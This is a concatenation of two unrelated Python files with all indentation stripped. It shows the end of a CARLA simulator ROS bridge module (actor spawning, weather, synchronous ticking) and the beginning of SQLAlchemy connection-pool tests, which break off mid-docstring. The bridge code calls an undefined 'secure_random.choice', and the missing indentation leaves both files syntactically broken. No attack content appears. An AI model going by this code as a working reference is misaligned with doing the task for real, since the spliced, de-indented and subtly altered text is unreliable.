"""
self.parameters = params
self.carla_world = carla_world
self.synchronous_mode_update_thread = None
self.shutdown = Event()
self.carla_settings = carla_world.get_settings()
if not self.parameters["passive"]:
# workaround: settings can only applied within non-sync mode
if self.carla_settings.synchronous_mode:
self.carla_settings.synchronous_mode = False
carla_world.apply_settings(self.carla_settings)
rospy.loginfo("synchronous_mode: {}".format(
self.parameters["synchronous_mode"]))
self.carla_settings.synchronous_mode = self.parameters["synchronous_mode"]
rospy.loginfo("fixed_delta_seconds: {}".format(
self.parameters["fixed_delta_seconds"]))
self.carla_settings.fixed_delta_seconds = self.parameters["fixed_delta_seconds"]
carla_world.apply_settings(self.carla_settings)
# active sync mode in the ros bridge only if CARLA world is configured in sync mode and
# passive mode is not enabled.
self.sync_mode = self.carla_settings.synchronous_mode and not self.parameters["passive"]
if self.carla_settings.synchronous_mode and self.parameters["passive"]:
rospy.loginfo(
"Passive mode is enabled and CARLA world is configured in synchronous mode. This configuration requires another client ticking the CARLA world.")
self.carla_control_queue = queue.Queue()
# actor factory
self.actor_factory = ActorFactory(self, carla_world, self.sync_mode)
# add world info
self.world_info = WorldInfo(carla_world=self.carla_world)
# add debug helper
self.debug_helper = DebugHelper(carla_world.debug)
# Communication topics
self.clock_publisher = rospy.Publisher('clock', Clock, queue_size=10)
self.status_publisher = CarlaStatusPublisher(
self.carla_settings.synchronous_mode,
self.carla_settings.fixed_delta_seconds)
# for waiting for ego vehicle control commands in synchronous mode,
# their ids are maintained in a list.
# Before tick(), the list is filled and the loop waits until the list is empty.
self._all_vehicle_control_commands_received = Event()
self._expected_ego_vehicle_control_command_ids = []
self._expected_ego_vehicle_control_command_ids_lock = Lock()
if self.sync_mode:
self.carla_run_state = CarlaControl.PLAY
self.carla_control_subscriber = \
rospy.Subscriber("/carla/control", CarlaControl,
lambda control: self.carla_control_queue.put(control.command))
self.synchronous_mode_update_thread = Thread(
target=self._synchronous_mode_update)
self.synchronous_mode_update_thread.start()
else:
self.timestamp_last_run = 0.0
self.actor_factory.start()
# register callback to update actors
self.on_tick_id = self.carla_world.on_tick(self._carla_time_tick)
# services configuration.
self._registered_actors = []
self.spawn_object_service = rospy.Service("/carla/spawn_object", SpawnObject,
self.spawn_object)
self.destroy_object_service = rospy.Service("/carla/destroy_object", DestroyObject,
self.destroy_object)
self.get_blueprints_service = rospy.Service("/carla/get_blueprints", GetBlueprints,
self.get_blueprints)
self.carla_weather_subscriber = \
rospy.Subscriber("/carla/weather_control",
CarlaWeatherParameters, self.on_weather_changed)
def _spawn_actor(self, req):
if "*" in req.type:
blueprint = secure_random.choice(
self.carla_world.get_blueprint_library().filter(req.type))
else:
blueprint = self.carla_world.get_blueprint_library().find(req.type)
blueprint.set_attribute('role_name', req.id)
for attribute in req.attributes:
blueprint.set_attribute(attribute.key, attribute.value)
if req.random_pose is False:
transform = trans.ros_pose_to_carla_transform(req.transform)
else:
# get a random pose
spawn_points = self.carla_world.get_map().get_spawn_points()
transform = secure_random.choice(
spawn_points) if spawn_points else carla.Transform()
attach_to = None
if req.attach_to != 0:
attach_to = self.carla_world.get_actor(req.attach_to)
if attach_to is None:
raise IndexError("Parent actor {} not found".format(req.attach_to))
carla_actor = self.carla_world.spawn_actor(blueprint, transform, attach_to)
actor = self.actor_factory.create(
req.type, req.id, req.attach_to, req.transform, carla_actor)
return actor.uid
def _spawn_pseudo_actor(self, req):
actor = self.actor_factory.create(req.type, req.id, req.attach_to, req.transform)
return actor.uid
def spawn_object(self, req):
with self.actor_factory.spawn_lock:
try:
if "pseudo" in req.type:
id_ = self._spawn_pseudo_actor(req)
else:
id_ = self._spawn_actor(req)
self._registered_actors.append(id_)
return SpawnObjectResponse(id_, "")
except Exception as e:
rospy.logwarn("Error spawning object '{}: {}".format(req.type, e))
return SpawnObjectResponse(-1, str(e))
def _destroy_actor(self, uid):
if uid not in self.actor_factory.actors:
return False
# remove actors that have the actor to be removed as parent.
for actor in list(self.actor_factory.actors.values()):
if actor.parent is not None and actor.parent.uid == uid:
if actor.uid in self._registered_actors:
success = self._destroy_actor(actor.uid)
if not success:
return False
actor = self.actor_factory.actors[uid]
if isinstance(actor, Actor):
actor.carla_actor.destroy()
self.actor_factory.destroy(uid)
if uid in self._registered_actors:
self._registered_actors.remove(uid)
return True
def destroy_object(self, req):
with self.actor_factory.spawn_lock:
result = self._destroy_actor(req.id)
return DestroyObjectResponse(result)
def get_blueprints(self, req):
response = GetBlueprintsResponse()
if req.filter:
bp_filter = req.filter
else:
bp_filter = "*"
response.blueprints = [
bp.id for bp in self.carla_world.get_blueprint_library().filter(bp_filter)]
response.blueprints.extend(self.actor_factory.get_pseudo_sensor_types())
response.blueprints.sort()
return response
def on_weather_changed(self, weather_parameters):
"""
Callback on new weather parameters
:return:
"""
if not self.carla_world:
return
rospy.loginfo("Applying weather parameters...")
weather = carla.WeatherParameters()
weather.cloudiness = weather_parameters.cloudiness
weather.precipitation = weather_parameters.precipitation
weather.precipitation_deposits = weather_parameters.precipitation_deposits
weather.wind_intensity = weather_parameters.wind_intensity
weather.fog_density = weather_parameters.fog_density
weather.fog_distance = weather_parameters.fog_distance
weather.wetness = weather_parameters.wetness
weather.sun_azimuth_angle = weather_parameters.sun_azimuth_angle
weather.sun_altitude_angle = weather_parameters.sun_altitude_angle
self.carla_world.set_weather(weather)
def process_run_state(self):
"""
process state changes
"""
command = None
# get last command
while not self.carla_control_queue.empty():
command = self.carla_control_queue.get()
while command is not None and not rospy.is_shutdown():
self.carla_run_state = command
if self.carla_run_state == CarlaControl.PAUSE:
# wait for next command
rospy.loginfo("State set to PAUSED")
self.status_publisher.set_synchronous_mode_running(False)
command = self.carla_control_queue.get()
elif self.carla_run_state == CarlaControl.PLAY:
rospy.loginfo("State set to PLAY")
self.status_publisher.set_synchronous_mode_running(True)
return
elif self.carla_run_state == CarlaControl.STEP_ONCE:
rospy.loginfo("Execute single step.")
self.status_publisher.set_synchronous_mode_running(True)
self.carla_control_queue.put(CarlaControl.PAUSE)
return
def _synchronous_mode_update(self):
"""
execution loop for synchronous mode
"""
while not self.shutdown.is_set():
self.process_run_state()
if self.parameters['synchronous_mode_wait_for_vehicle_control_command']:
# fill list of available ego vehicles
self._expected_ego_vehicle_control_command_ids = []
with self._expected_ego_vehicle_control_command_ids_lock:
for actor_id, actor in self.actor_factory.actors.items():
if isinstance(actor, EgoVehicle):
self._expected_ego_vehicle_control_command_ids.append(
actor_id)
frame = self.carla_world.tick()
world_snapshot = self.carla_world.get_snapshot()
self.status_publisher.set_frame(frame)
self.update_clock(world_snapshot.timestamp)
rospy.logdebug("Tick for frame {} returned. Waiting for sensor data...".format(
frame))
with self.actor_factory.lock:
self._update(frame, world_snapshot.timestamp.elapsed_seconds)
rospy.logdebug("Waiting for sensor data finished.")
self.actor_factory.update()
if self.parameters['synchronous_mode_wait_for_vehicle_control_command']:
# wait for all ego vehicles to send a vehicle control command
if self._expected_ego_vehicle_control_command_ids:
if not self._all_vehicle_control_commands_received.wait(1):
rospy.logwarn("Timeout (1s) while waiting for vehicle control commands. "
"Missing command from actor ids {}".format(
self._expected_ego_vehicle_control_command_ids))
self._all_vehicle_control_commands_received.clear()
def _carla_time_tick(self, carla_snapshot):
"""
Private callback registered at carla.World.on_tick()
to trigger cyclic updates.
After successful locking the update mutex
(only perform trylock to respect bridge processing time)
the clock and the children are updated.
Finally the ROS messages collected to be published are sent out.
:param carla_timestamp: the current carla time
:type carla_timestamp: carla.Timestamp
:return:
"""
if not self.shutdown.is_set():
if self.actor_factory.lock.acquire(False):
if self.timestamp_last_run < carla_snapshot.timestamp.elapsed_seconds:
self.timestamp_last_run = carla_snapshot.timestamp.elapsed_seconds
self.update_clock(carla_snapshot.timestamp)
self.status_publisher.set_frame(carla_snapshot.frame)
self._update(carla_snapshot.frame,
carla_snapshot.timestamp.elapsed_seconds)
self.actor_factory.lock.release()
def run(self):
"""
Run the bridge functionality.
Registers on shutdown callback at rospy and spins ROS.
:return:
"""
rospy.on_shutdown(self.on_shutdown)
rospy.spin()
def on_shutdown(self):
"""
Function to be called on shutdown.
This function is registered at rospy as shutdown handler.
"""
rospy.loginfo("Shutdown requested")
self.destroy()
def _update(self, frame_id, timestamp):
"""
update all actors
:return:
"""
# update world info
self.world_info.update(frame_id, timestamp)
# update all carla actors
for actor_id in self.actor_factory.actors:
try:
self.actor_factory.actors[actor_id].update(frame_id, timestamp)
except RuntimeError as e:
rospy.logwarn("Update actor {}({}) failed: {}".format(
self.actor_factory.actors[actor_id].__class__.__name__, actor_id, e))
continue
def _ego_vehicle_control_applied_callback(self, ego_vehicle_id):
if not self.sync_mode or \
not self.parameters['synchronous_mode_wait_for_vehicle_control_command']:
return
with self._expected_ego_vehicle_control_command_ids_lock:
if ego_vehicle_id in self._expected_ego_vehicle_control_command_ids:
self._expected_ego_vehicle_control_command_ids.remove(
ego_vehicle_id)
else:
rospy.logwarn(
"Unexpected vehicle control command received from {}".format(ego_vehicle_id))
if not self._expected_ego_vehicle_control_command_ids:
self._all_vehicle_control_commands_received.set()
def update_clock(self, carla_timestamp):
"""
perform the update of the clock
:param carla_timestamp: the current carla time
:type carla_timestamp: carla.Timestamp
:return:
"""
self.ros_timestamp = rospy.Time.from_sec(
carla_timestamp.elapsed_seconds)
self.clock_publisher.publish(Clock(self.ros_timestamp))
def destroy(self):
"""
Function to destroy this object.
:return:
"""
rospy.signal_shutdown("")
self.debug_helper.destroy()
self.shutdown.set()
self.carla_weather_subscriber.unregister()
self.carla_control_queue.put(CarlaControl.STEP_ONCE)
if not self.sync_mode:
if self.on_tick_id:
self.carla_world.remove_on_tick(self.on_tick_id)
self.actor_factory.thread.join()
with self.actor_factory.spawn_lock:
# remove actors in reverse order to destroy parent actors first.
for uid in self._registered_actors[::-1]:
self._destroy_actor(uid)
self.actor_factory.clear()
rospy.loginfo("Exiting Bridge")
def main():
"""
main function for carla simulator ROS bridge
maintaining the communication client and the CarlaBridge object
"""
rospy.init_node("carla_bridge", anonymous=True)
parameters = rospy.get_param('carla')
rospy.loginfo("Trying to connect to {host}:{port}".format(
host=parameters['host'], port=parameters['port']))
carla_bridge = None
carla_world = None
carla_client = None
try:
carla_client = carla.Client(
host=parameters['host'],
port=parameters['port'])
carla_client.set_timeout(parameters['timeout'])
# check carla version
dist = pkg_resources.get_distribution("carla")
if LooseVersion(dist.version) != LooseVersion(CarlaRosBridge.CARLA_VERSION):
rospy.logfatal("CARLA python module version {} required. Found: {}".format(
CarlaRosBridge.CARLA_VERSION, dist.version))
sys.exit(1)
if LooseVersion(carla_client.get_server_version()) != \
LooseVersion(carla_client.get_client_version()):
rospy.logwarn(
"Version mismatch detected: You are trying to connect to a simulator that might be incompatible with this API. Client API version: {}. Simulator API version: {}"
.format(carla_client.get_client_version(),
carla_client.get_server_version()))
carla_world = carla_client.get_world()
if "town" in parameters:
if parameters["town"].endswith(".xodr"):
rospy.loginfo(
"Loading opendrive world from file '{}'".format(parameters["town"]))
with open(parameters["town"]) as od_file:
data = od_file.read()
carla_world = carla_client.generate_opendrive_world(str(data))
else:
if carla_world.get_map().name != parameters["town"]:
rospy.loginfo("Loading town '{}' (previous: '{}').".format(
parameters["town"], carla_world.get_map().name))
carla_world = carla_client.load_world(parameters["town"])
carla_world.tick()
carla_bridge = CarlaRosBridge(carla_client.get_world(), parameters)
carla_bridge.run()
except (IOError, RuntimeError) as e:
rospy.logerr("Error: {}".format(e))
finally:
del carla_world
del carla_client
if __name__ == "__main__":
main()
|
test_pool.py
|
import collections
import random
import threading
import time
from unittest.mock import ANY
from unittest.mock import call
from unittest.mock import Mock
from unittest.mock import patch
import weakref
import sqlalchemy as tsa
from sqlalchemy import event
from sqlalchemy import pool
from sqlalchemy import select
from sqlalchemy import testing
from sqlalchemy.engine import default
from sqlalchemy.pool.base import _AsyncConnDialect
from sqlalchemy.pool.base import _ConnDialect
from sqlalchemy.testing import assert_raises
from sqlalchemy.testing import assert_raises_context_ok
from sqlalchemy.testing import assert_raises_message
from sqlalchemy.testing import eq_
from sqlalchemy.testing import expect_raises
from sqlalchemy.testing import fixtures
from sqlalchemy.testing import is_
from sqlalchemy.testing import is_none
from sqlalchemy.testing import is_not
from sqlalchemy.testing import is_not_none
from sqlalchemy.testing import is_true
from sqlalchemy.testing import mock
from sqlalchemy.testing.engines import testing_engine
from sqlalchemy.testing.util import gc_collect
from sqlalchemy.testing.util import lazy_gc
join_timeout = 10
def MockDBAPI(): # noqa
def cursor():
return Mock()
def connect(*arg, **kw):
def close():
conn.closed = True
# mock seems like it might have an issue logging
# call_count correctly under threading, not sure.
# adding a side_effect for close seems to help.
conn = Mock(
cursor=Mock(side_effect=cursor),
close=Mock(side_effect=close),
closed=False,
)
return conn
def shutdown(value):
if value:
db.connect = Mock(side_effect=Exception("connect failed"))
else:
db.connect = Mock(side_effect=connect)
db.is_shutdown = value
db = Mock(
connect=Mock(side_effect=connect), shutdown=shutdown, is_shutdown=False
)
return db
class PoolTestBase(fixtures.TestBase):
def setup_test(self):
self._teardown_conns = []
def teardown_test(self):
for ref in self._teardown_conns:
conn = ref()
if conn:
conn.close()
def _with_teardown(self, connection):
self._teardown_conns.append(weakref.ref(connection))
return connection
def _queuepool_fixture(self, **kw):
dbapi, pool = self._queuepool_dbapi_fixture(**kw)
return pool
def _queuepool_dbapi_fixture(self, **kw):
dbapi = MockDBAPI()
_is_asyncio = kw.pop("_is_asyncio", False)
p = pool.QueuePool(creator=lambda: dbapi.connect("foo.db"), **kw)
if _is_asyncio:
p._is_asyncio = True
p._dialect = _AsyncConnDialect()
return dbapi, p
class PoolTest(PoolTestBase):
@testing.fails_on(
"+pyodbc", "pyodbc cursor doesn't implement tuple __eq__"
)
@testing.fails_on("+pg8000", "returns [1], not (1,)")
def test_cursor_iterable(self):
conn = testing.db.raw_connection()
cursor = conn.cursor()
cursor.execute(str(select(1).compile(testing.db)))
expected = [(1,)]
for row in cursor:
eq_(row, expected.pop(0))
def test_no_connect_on_recreate(self):
def creator():
raise Exception("no creates allowed")
for cls in (
pool.SingletonThreadPool,
pool.StaticPool,
pool.QueuePool,
pool.NullPool,
pool.AssertionPool,
):
p = cls(creator=creator)
p.dispose()
p2 = p.recreate()
assert p2.__class__ is cls
mock_dbapi = MockDBAPI()
p = cls(creator=mock_dbapi.connect)
conn = p.connect()
conn.close()
mock_dbapi.connect.side_effect = Exception("error!")
p.dispose()
p.recreate()
def test_info(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0)
c = p.connect()
self.assert_(not c.info)
self.assert_(c.info is c._connection_record.info)
c.info["foo"] = "bar"
c.close()
del c
c = p.connect()
self.assert_("foo" in c.info)
c.invalidate()
c = p.connect()
self.assert_("foo" not in c.info)
c.info["foo2"] = "bar2"
c.detach()
self.assert_("foo2" in c.info)
c2 = p.connect()
is_not(c.dbapi_connection, c2.dbapi_connection)
assert not c2.info
assert "foo2" in c.info
def test_rec_info(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0)
c = p.connect()
self.assert_(not c.record_info)
self.assert_(c.record_info is c._connection_record.record_info)
c.record_info["foo"] = "bar"
c.close()
del c
c = p.connect()
self.assert_("foo" in c.record_info)
c.invalidate()
c = p.connect()
self.assert_("foo" in c.record_info)
c.record_info["foo2"] = "bar2"
c.detach()
is_(c.record_info, None)
is_(c._connection_record, None)
c2 = p.connect()
assert c2.record_info
assert "foo2" in c2.record_info
def test_rec_unconnected(self):
# test production of a _ConnectionRecord with an
# initially unconnected state.
dbapi = MockDBAPI()
p1 = pool.Pool(creator=lambda: dbapi.connect("foo.db"))
r1 = pool._ConnectionRecord(p1, connect=False)
assert not r1.dbapi_connection
c1 = r1.get_connection()
is_(c1, r1.dbapi_connection)
is_(c1, r1.connection)
is_(c1, r1.driver_connection)
def test_rec_close_reopen(self):
# test that _ConnectionRecord.close() allows
# the record to be reusable
dbapi = MockDBAPI()
p1 = pool.Pool(creator=lambda: dbapi.connect("foo.db"))
r1 = pool._ConnectionRecord(p1)
c1 = r1.dbapi_connection
c2 = r1.get_connection()
is_(c1, c2)
r1.close()
assert not r1.dbapi_connection
eq_(c1.mock_calls, [call.close()])
c2 = r1.get_connection()
is_not(c1, c2)
is_(c2, r1.dbapi_connection)
eq_(c2.mock_calls, [])
@testing.combinations(
(
pool.QueuePool,
dict(pool_size=8, max_overflow=10, timeout=25, use_lifo=True),
),
(pool.QueuePool, {}),
(pool.NullPool, {}),
(pool.SingletonThreadPool, {}),
(pool.StaticPool, {}),
(pool.AssertionPool, {}),
)
def test_recreate_state(self, pool_cls, pool_args):
creator = object()
pool_args["pre_ping"] = True
pool_args["reset_on_return"] = "commit"
pool_args["recycle"] = 35
pool_args["logging_name"] = "somepool"
pool_args["dialect"] = default.DefaultDialect()
pool_args["echo"] = "debug"
p1 = pool_cls(creator=creator, **pool_args)
cls_keys = dir(pool_cls)
d1 = dict(p1.__dict__)
p2 = p1.recreate()
d2 = dict(p2.__dict__)
for k in cls_keys:
d1.pop(k, None)
d2.pop(k, None)
for k in (
"_invoke_creator",
"_pool",
"_overflow_lock",
"_fairy",
"_conn",
"logger",
):
if k in d2:
d2[k] = mock.ANY
eq_(d1, d2)
eq_(p1.echo, p2.echo)
is_(p1._dialect, p2._dialect)
if "use_lifo" in pool_args:
eq_(p1._pool.use_lifo, p2._pool.use_lifo)
@testing.combinations(
(pool.QueuePool, False),
(pool.AsyncAdaptedQueuePool, True),
(pool.FallbackAsyncAdaptedQueuePool, True),
(pool.NullPool, None),
(pool.SingletonThreadPool, False),
(pool.StaticPool, None),
(pool.AssertionPool, None),
)
def test_is_asyncio_from_dialect(self, pool_cls, is_async_kind):
p = pool_cls(creator=object())
for is_async in (True, False):
if is_async:
p._dialect = _AsyncConnDialect()
else:
p._dialect = _ConnDialect()
if is_async_kind is None:
eq_(p._is_asyncio, is_async)
else:
eq_(p._is_asyncio, is_async_kind)
@testing.combinations(
(pool.QueuePool, False),
(pool.AsyncAdaptedQueuePool, True),
(pool.FallbackAsyncAdaptedQueuePool, True),
(pool.NullPool, False),
(pool.SingletonThreadPool, False),
(pool.StaticPool, False),
(pool.AssertionPool, False),
)
def test_is_asyncio_from_dialect_cls(self, pool_cls, is_async):
eq_(pool_cls._is_asyncio, is_async)
def test_rec_fairy_default_dialect(self):
dbapi = MockDBAPI()
p1 = pool.Pool(creator=lambda: dbapi.connect("foo.db"))
rec = pool._ConnectionRecord(p1)
is_not_none(rec.dbapi_connection)
is_(rec.connection, rec.dbapi_connection)
is_(rec.driver_connection, rec.dbapi_connection)
fairy = pool._ConnectionFairy(rec.dbapi_connection, rec, False)
is_not_none(fairy.dbapi_connection)
is_(fairy.connection, fairy.dbapi_connection)
is_(fairy.driver_connection, fairy.dbapi_connection)
is_(fairy.dbapi_connection, rec.dbapi_connection)
is_(fairy.driver_connection, rec.driver_connection)
def test_rec_fairy_adapted_dialect(self):
dbapi = MockDBAPI()
mock_dc = object()
class _AdaptedDialect(_ConnDialect):
def get_driver_connection(self, connection):
return mock_dc
p1 = pool.Pool(
creator=lambda: dbapi.connect("foo.db"), dialect=_AdaptedDialect()
)
rec = pool._ConnectionRecord(p1)
is_not_none(rec.dbapi_connection)
is_(rec.connection, rec.dbapi_connection)
is_(rec.driver_connection, mock_dc)
fairy = pool._ConnectionFairy(rec.dbapi_connection, rec, False)
is_not_none(fairy.dbapi_connection)
is_(fairy.connection, fairy.dbapi_connection)
is_(fairy.driver_connection, mock_dc)
is_(fairy.dbapi_connection, rec.dbapi_connection)
is_(fairy.driver_connection, mock_dc)
def test_connection_setter(self):
dbapi = MockDBAPI()
p1 = pool.Pool(creator=lambda: dbapi.connect("foo.db"))
rec = pool._ConnectionRecord(p1)
is_not_none(rec.dbapi_connection)
is_(rec.connection, rec.dbapi_connection)
rec.connection = 42
is_(rec.connection, rec.dbapi_connection)
rec.dbapi_connection = 99
is_(rec.connection, rec.dbapi_connection)
class PoolDialectTest(PoolTestBase):
def _dialect(self):
canary = []
class PoolDialect:
is_async = False
def do_rollback(self, dbapi_connection):
canary.append("R")
dbapi_connection.rollback()
def do_commit(self, dbapi_connection):
canary.append("C")
dbapi_connection.commit()
def do_close(self, dbapi_connection):
canary.append("CL")
dbapi_connection.close()
def get_driver_connection(self, connection):
return connection
return PoolDialect(), canary
def _do_test(self, pool_cls, assertion):
mock_dbapi = MockDBAPI()
dialect, canary = self._dialect()
p = pool_cls(creator=mock_dbapi.connect)
p._dialect = dialect
conn = p.connect()
conn.close()
p.dispose()
p.recreate()
conn = p.connect()
conn.close()
eq_(canary, assertion)
def test_queue_pool(self):
self._do_test(pool.QueuePool, ["R", "CL", "R"])
def test_assertion_pool(self):
self._do_test(pool.AssertionPool, ["R", "CL", "R"])
def test_singleton_pool(self):
self._do_test(pool.SingletonThreadPool, ["R", "CL", "R"])
def test_null_pool(self):
self._do_test(pool.NullPool, ["R", "CL", "R", "CL"])
def test_static_pool(self):
self._do_test(pool.StaticPool, ["R", "CL", "R"])
class PoolEventsTest(PoolTestBase):
def _first_connect_event_fixture(self):
p = self._queuepool_fixture()
canary = []
def first_connect(*arg, **kw):
canary.append("first_connect")
event.listen(p, "first_connect", first_connect)
return p, canary
def _connect_event_fixture(self):
p = self._queuepool_fixture()
canary = []
def connect(*arg, **kw):
canary.append("connect")
event.listen(p, "connect", connect)
return p, canary
def _checkout_event_fixture(self):
p = self._queuepool_fixture()
canary = []
def checkout(*arg, **kw):
canary.append("checkout")
event.listen(p, "checkout", checkout)
return p, canary
def _checkin_event_fixture(self, _is_asyncio=False):
p = self._queuepool_fixture(_is_asyncio=_is_asyncio)
canary = []
@event.listens_for(p, "checkin")
def checkin(*arg, **kw):
canary.append("checkin")
@event.listens_for(p, "close_detached")
def close_detached(*arg, **kw):
canary.append("close_detached")
@event.listens_for(p, "detach")
def detach(*arg, **kw):
canary.append("detach")
return p, canary
def _reset_event_fixture(self):
p = self._queuepool_fixture()
canary = []
def reset(*arg, **kw):
canary.append("reset")
event.listen(p, "reset", reset)
return p, canary
def _invalidate_event_fixture(self):
p = self._queuepool_fixture()
canary = Mock()
event.listen(p, "invalidate", canary)
return p, canary
def _soft_invalidate_event_fixture(self):
p = self._queuepool_fixture()
canary = Mock()
event.listen(p, "soft_invalidate", canary)
return p, canary
def _close_event_fixture(self):
p = self._queuepool_fixture()
canary = Mock()
event.listen(p, "close", canary)
return p, canary
def _detach_event_fixture(self):
p = self._queuepool_fixture()
canary = Mock()
event.listen(p, "detach", canary)
return p, canary
def _close_detached_event_fixture(self):
p = self._queuepool_fixture()
canary = Mock()
event.listen(p, "close_detached", canary)
return p, canary
def test_close(self):
p, canary = self._close_event_fixture()
c1 = p.connect()
connection = c1.dbapi_connection
rec = c1._connection_record
c1.close()
eq_(canary.mock_calls, [])
p.dispose()
eq_(canary.mock_calls, [call(connection, rec)])
def test_detach(self):
p, canary = self._detach_event_fixture()
c1 = p.connect()
connection = c1.dbapi_connection
rec = c1._connection_record
c1.detach()
eq_(canary.mock_calls, [call(connection, rec)])
def test_detach_close(self):
p, canary = self._close_detached_event_fixture()
c1 = p.connect()
connection = c1.dbapi_connection
c1.detach()
c1.close()
eq_(canary.mock_calls, [call(connection)])
def test_first_connect_event(self):
p, canary = self._first_connect_event_fixture()
p.connect()
eq_(canary, ["first_connect"])
def test_first_connect_event_fires_once(self):
p, canary = self._first_connect_event_fixture()
p.connect()
p.connect()
eq_(canary, ["first_connect"])
def test_first_connect_on_previously_recreated(self):
p, canary = self._first_connect_event_fixture()
p2 = p.recreate()
p.connect()
p2.connect()
eq_(canary, ["first_connect", "first_connect"])
def test_first_connect_on_subsequently_recreated(self):
p, canary = self._first_connect_event_fixture()
p.connect()
p2 = p.recreate()
p2.connect()
eq_(canary, ["first_connect", "first_connect"])
def test_connect_event(self):
p, canary = self._connect_event_fixture()
p.connect()
eq_(canary, ["connect"])
def test_connect_insert_event(self):
p = self._queuepool_fixture()
canary = []
def connect_one(*arg, **kw):
canary.append("connect_one")
def connect_two(*arg, **kw):
canary.append("connect_two")
def connect_three(*arg, **kw):
canary.append("connect_three")
event.listen(p, "connect", connect_one)
event.listen(p, "connect", connect_two, insert=True)
event.listen(p, "connect", connect_three)
p.connect()
eq_(canary, ["connect_two", "connect_one", "connect_three"])
def test_connect_event_fires_subsequent(self):
p, canary = self._connect_event_fixture()
c1 = p.connect() # noqa
c2 = p.connect() # noqa
eq_(canary, ["connect", "connect"])
def test_connect_on_previously_recreated(self):
p, canary = self._connect_event_fixture()
p2 = p.recreate()
p.connect()
p2.connect()
eq_(canary, ["connect", "connect"])
def test_connect_on_subsequently_recreated(self):
p, canary = self._connect_event_fixture()
p.connect()
p2 = p.recreate()
p2.connect()
eq_(canary, ["connect", "connect"])
def test_checkout_event(self):
p, canary = self._checkout_event_fixture()
p.connect()
eq_(canary, ["checkout"])
def test_checkout_event_fires_subsequent(self):
p, canary = self._checkout_event_fixture()
p.connect()
p.connect()
eq_(canary, ["checkout", "checkout"])
def test_checkout_event_on_subsequently_recreated(self):
p, canary = self._checkout_event_fixture()
p.connect()
p2 = p.recreate()
p2.connect()
eq_(canary, ["checkout", "checkout"])
def test_checkin_event(self):
p, canary = self._checkin_event_fixture()
c1 = p.connect()
eq_(canary, [])
c1.close()
eq_(canary, ["checkin"])
def test_reset_event(self):
p, canary = self._reset_event_fixture()
c1 = p.connect()
eq_(canary, [])
c1.close()
eq_(canary, ["reset"])
def test_soft_invalidate_event_no_exception(self):
p, canary = self._soft_invalidate_event_fixture()
c1 = p.connect()
c1.close()
assert not canary.called
c1 = p.connect()
dbapi_con = c1.dbapi_connection
c1.invalidate(soft=True)
assert canary.call_args_list[0][0][0] is dbapi_con
assert canary.call_args_list[0][0][2] is None
def test_soft_invalidate_event_exception(self):
p, canary = self._soft_invalidate_event_fixture()
c1 = p.connect()
c1.close()
assert not canary.called
c1 = p.connect()
dbapi_con = c1.dbapi_connection
exc = Exception("hi")
c1.invalidate(exc, soft=True)
assert canary.call_args_list[0][0][0] is dbapi_con
assert canary.call_args_list[0][0][2] is exc
def test_invalidate_event_no_exception(self):
p, canary = self._invalidate_event_fixture()
c1 = p.connect()
c1.close()
assert not canary.called
c1 = p.connect()
dbapi_con = c1.dbapi_connection
c1.invalidate()
assert canary.call_args_list[0][0][0] is dbapi_con
assert canary.call_args_list[0][0][2] is None
def test_invalidate_event_exception(self):
p, canary = self._invalidate_event_fixture()
c1 = p.connect()
c1.close()
assert not canary.called
c1 = p.connect()
dbapi_con = c1.dbapi_connection
exc = Exception("hi")
c1.invalidate(exc)
assert canary.call_args_list[0][0][0] is dbapi_con
assert canary.call_args_list[0][0][2] is exc
@testing.combinations((True,), (False,))
def test_checkin_event_gc(self, detach_gced):
p, canary = self._checkin_event_fixture(_is_asyncio=detach_gced)
c1 = p.connect()
dbapi_connection = weakref.ref(c1.dbapi_connection)
eq_(canary, [])
del c1
lazy_gc()
if detach_gced:
# "close_detached" is not called because for asyncio the
# connection is just lost.
eq_(canary, ["detach"])
else:
eq_(canary, ["checkin"])
gc_collect()
if detach_gced:
is_none(dbapi_connection())
else:
is_not_none(dbapi_connection())
def test_checkin_event_on_subsequently_recreated(self):
p, canary = self._checkin_event_fixture()
c1 = p.connect()
p2 = p.recreate()
c2 = p2.connect()
eq_(canary, [])
c1.close()
eq_(canary, ["checkin"])
c2.close()
eq_(canary, ["checkin", "checkin"])
def test_listen_targets_scope(self):
canary = []
def listen_one(*args):
canary.append("listen_one")
def listen_two(*args):
canary.append("listen_two")
def listen_three(*args):
canary.append("listen_three")
def listen_four(*args):
canary.append("listen_four")
engine = testing_engine(testing.db.url)
event.listen(pool.Pool, "connect", listen_one)
event.listen(engine.pool, "connect", listen_two)
event.listen(engine, "connect", listen_three)
event.listen(engine.__class__, "connect", listen_four)
with engine.connect() as conn:
conn.execute(select(1))
eq_(
canary, ["listen_one", "listen_four", "listen_two", "listen_three"]
)
def test_listen_targets_per_subclass(self):
"""test that listen() called on a subclass remains specific to
that subclass."""
canary = []
def listen_one(*args):
canary.append("listen_one")
def listen_two(*args):
canary.append("listen_two")
def listen_three(*args):
canary.append("listen_three")
event.listen(pool.Pool, "connect", listen_one)
event.listen(pool.QueuePool, "connect", listen_two)
event.listen(pool.SingletonThreadPool, "connect", listen_three)
p1 = pool.QueuePool(creator=MockDBAPI().connect)
p2 = pool.SingletonThreadPool(creator=MockDBAPI().connect)
assert listen_one in p1.dispatch.connect
assert listen_two in p1.dispatch.connect
assert listen_three not in p1.dispatch.connect
assert listen_one in p2.dispatch.connect
assert listen_two not in p2.dispatch.connect
assert listen_three in p2.dispatch.connect
p1.connect()
eq_(canary, ["listen_one", "listen_two"])
p2.connect()
eq_(canary, ["listen_one", "listen_two", "listen_one", "listen_three"])
def test_connect_event_fails_invalidates(self):
fail = False
def listen_one(conn, rec):
if fail:
raise Exception("it failed")
def listen_two(conn, rec):
rec.info["important_flag"] = True
p1 = pool.QueuePool(
creator=MockDBAPI().connect, pool_size=1, max_overflow=0
)
event.listen(p1, "connect", listen_one)
event.listen(p1, "connect", listen_two)
conn = p1.connect()
eq_(conn.info["important_flag"], True)
conn.invalidate()
conn.close()
fail = True
assert_raises(Exception, p1.connect)
fail = False
conn = p1.connect()
eq_(conn.info["important_flag"], True)
conn.close()
def teardown_test(self):
# TODO: need to get remove() functionality
# going
pool.Pool.dispatch._clear()
class PoolFirstConnectSyncTest(PoolTestBase):
"""test for :ticket:`2964`, where the pool would not mutex the
initialization of the dialect.
Unfortunately, as discussed in :ticket:`6337`, this test suite did not
ensure that the ``Engine`` itself actually uses the "first_connect" event,
so when :ticket:`5497` came along, the "first_connect" event was no longer
used and no test detected the re-introduction of the exact same race
condition, which was now worse as the un-initialized dialect would now
